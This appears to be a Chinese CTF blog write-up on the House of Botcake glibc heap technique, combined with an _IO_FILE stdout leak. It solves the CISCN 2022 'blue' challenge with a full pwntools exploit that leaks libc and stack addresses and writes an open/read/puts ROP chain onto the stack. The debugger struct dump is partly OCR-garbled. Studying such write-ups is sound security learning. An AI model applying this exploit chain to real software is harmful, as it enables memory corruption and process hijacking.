个人理解

感觉House of Botcake就是double free + overlapping + _IO_FILE attack的结合使用，需要对堆结构有着较为详细的理解，也要有能管理堆顺序的能力，建议写题的时候还是标一标堆的index，这样在利用堆的时候会比较方便些

House of Botcake

想要利用这个攻击，我们得先了解_IO_FILE的结构

_IO_FILE

结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> p stdout
$3 =(FILE *)0x7f8aba48f760 < I0 2 1 stdout >
pwndbg> ptype stdout
type = struct IO FILE {
int flags; #flag得记得伪造
char * Io read ptr;
char * Io read end;
char * I0 read base,
char * I0 write base; #这三个write是我们攻击中的核心部分
char * I0 write ptr;
char * I0 write end;
char * Io buf base;
char * Io buf end;
char * I0 save base;
char * I0 backup base;
char * I0 save end;
struct I0 marker * markers;
struct IO FILE * chain;
int fileno;
int flags2;
off t old offset;
unsigned short cur column;
signed char vtable offset;
char shortbuf[1l;
I0 lock t * lock;
off64 t offset;
struct
I0 codecvt * codecvt;
struct Io wide data * wide data;
struct
IO FILE * freeres list;
void * freeres buf;
size tpad5;
int mode;
char unused2[20];
} *

_flag详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

我们需要关注的只有三个，_IO_MAGIC 0xFBAD0000,_IO_IS_APPENDING 0x1000,_IO_CURRENTLY_PUTTING,通常情况下_flag为0xfbad2887，而我们攻击的时候常常需要把_flag修改为0xfbad1800，这正好对应这三个flag值

解释

为什么要这样设置呢？

首先，我们在这种攻击方式下，用的基本是puts函数，puts函数会经历以下函数调用
puts->_IO_file_xsputn->_IO_file_overflow->_IO_do_write

下面我来详细解释下这些flag值的作用

当_IO_CURRENTLY_PUTTING=0x800时通常表示当前文件流正在进行写入操作。

IO_IS_APPENDING=0x1000表示文件流是否以追加模式打开。

IO_MAGIC=0xFBAD0000表示**_IO_FILE结构是有效的**

在_IO_FILE有效的情况下，因为我们以追加模式进行写入操作，如果我们把_IO_write_base，_IO_write_ptr分别设置为想要泄露的地方，结束泄露的地址，我们就可以通过environ函数的存在泄露出栈地址，从而获得当前函数的返回地址，进行一系列操作

原理

在libc大于2.27版本之后，为了防止tcache攻击过于简单而引入了tcache_key，对应的位置是堆块的bk。当堆块被free进入tcache_bin后，如果遍历该大小的tcache_bin发现有相同地址的堆块就会触发double_free警告，从而被killed掉
而House of Botcake，充分利用了这一机制，如果将同一堆块一次free进unsorted_bin里（没有key），一次free进tcache_bin里，是不是就绕过检查了呢？这样就让double_free再度成为可能

大致思路

先申请十个堆块，然后一如既往填满tcache先，第十个堆块用来防止与top chunk合并

image

接着再free第九个堆块(index=8)，使它进入unsorted_bin

image

此时完成了把目标堆块扔进unsorted_bin里，但我们还需要再free第八个堆块，此时会触发chunk合并

image

image

这种攻击方法常常需要修改fd指针来达成我们需要的操作，我们目标堆块尾地址为720，为了控制到该堆块，我们先申请一个多余堆块给目标堆块腾位置

image

接着我们再次free第九个堆块，实现double_free

image

此时我们完成了我们的目的，实现了double_free，接下来就是切割unsorted_bin的堆块了，这里我选择切割0x70的堆块

image

那么下次我们再申请出0x70的堆块时，data域就是710，对应720的prev和size，我们就可以轻而易举操控fd啦。后续还可接着free这两个堆块进行长久地fd指针修改，进行任意操作，整个流程差不多如此。

例题：[CISCN 2022 华东北]blue

代码审计

main

为了方便，我把去符号表的函数名都修改为了对应的功能函数名

image

add

image

delete

image

把指针置空了，没有UAF漏洞

show

image

只有一次show的机会

only_UAF

image

同样，也只有一次UAF的机会

思路

这个题比较特殊，只有一次UAF和show的机会，所以我们只能把UAF和show作用于泄露libc，这样就可以找到_IO_2_1_stdout_，利用House of Botcake将_IO_FILE的_IO_write_base和_IO_write_ptr修改为environ，environ+8，通过puts泄露add的栈地址，从而获得ret的地址。再次free目标堆块和辅助堆块，再次通过House of Botcake修改目标堆块的fd为add_ret地址，申请到栈上的同时往栈布置orw链即可

动调

许多步骤和之前是一样的，我就不重复演示了，直接从切割0x70chunk开始

image

可以看到，我们已经把目标chunk的fd修改成了stdout，我们再申请进去后修改它的结构为environ即可在puts泄露栈地址

image

image

在puts时就会泄露出environ了

image

再把目标堆块和辅助堆块free出来进行伪造chunk

image

image

image

image

到这就结束啦！

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./blue')
#p = remote('node4.anna.nssctf.cn',28301)
elf = ELF('./blue')
libc = ELF('./libc.so.6')

def add(size, content):
    p.recvuntil('Choice: ')
    p.sendline(b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(size))
    p.recvuntil(b'content: ')
    p.send(content)

def only_UAF(index):
    p.recvuntil('Choice: ')
    p.sendline(b'666')
    p.recvuntil(b'idx: ')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil('Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'idx: ')
    p.sendline(str(index))

#house of botcake
#leak_libc
for i in range(9):
    add(0x80, b'a') #0-8
add(0x80,b'a') #9 to avoid being caught by top chunk
for i in range(7):
    delete(i) #0-6
#gdb.attach(p)
only_UAF(8) #this is victim chunk
show(8)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x60
log.success('main_arena==>' + hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>' + hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>' + hex(libc_base))

IO_stdout = libc_base + libc.symbols['_IO_2_1_stdout_']
log.success('IO_stdout==>' + hex(IO_stdout))
environ = libc_base + libc.symbols['environ']
log.success('environ==>' + hex(environ))

#gdb.attach(p)
#leak stack and fake stack chunk
delete(7) #this is prev chunk,which is used to be added with chunk 8,becoming a larger chunk that can be double free
add(0x80,b'a') #0,leave a place to target chunk,index 8
delete(8) #this time,the 8th chunk has been double free,which is in the list of tcache,and it will be used to overwrite the fd of 8th chunk by overlapping
gdb.attach(p)
add(0x70,b'a') #1
add(0x70,p64(0) + p64(0x91) + p64(IO_stdout)) #2,chunk expend,change fd to IO_stdout
add(0x80,b'a') #3,which fd has been changed to IO_stdout,
# gdb.attach(p)
add(0x80,p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ + 8)) #4,edit IO_stdout to leak stack
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('stack==>' + hex(stack))
stack_base = stack - 0x158
log.success('stack_base==>' + hex(stack_base))
add_ret = stack_base + 0x30
log.success('add_ret==>' + hex(add_ret))
delete(3) #free victim chunk
delete(2) #free the chunk that can change fd of victim chunk
add(0x70,p64(0) + p64(0x91) + p64(add_ret)) #2,fake stack chunk

#set orw
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
puts_addr = libc_base + libc.symbols['puts']
pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
orw = b'/flag\x00\x00\x00' + p64(pop_rdi) + p64(add_ret) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x200) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(stack + 0x200) + p64(puts_addr)

#getshell
add(0x80,b'a') #3
#gdb.attach(p)
add(0x80,orw) #4,the stack

p.interactive()

总结

这个玩意感觉挺考验细心程度和对堆的理解，一个不留神就会弄错索引，伪造失败。堆好多house啊——什么时候才有我的house——